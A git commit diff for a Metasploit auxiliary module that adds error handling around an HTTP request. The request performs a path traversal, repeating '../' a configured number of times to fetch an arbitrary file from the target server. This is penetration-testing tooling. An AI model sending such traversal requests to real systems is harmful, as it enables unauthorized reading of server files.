Added basic error handling

bug/bundler_fix
Matt Andreko 2013-02-23 10:24:04 -05:00
parent 67c2c3da20
commit b221711ecd
1 changed files with 10 additions and 5 deletions

View File

@ -54,11 +54,16 @@ class Metasploit3 < Msf::Auxiliary
# Create request
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
}, 25)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
}, 25)
rescue Rex::ConnectionRefused
print_error("#{rhost}:#{rport} Could not connect.")
return
end
# Show data if needed
if res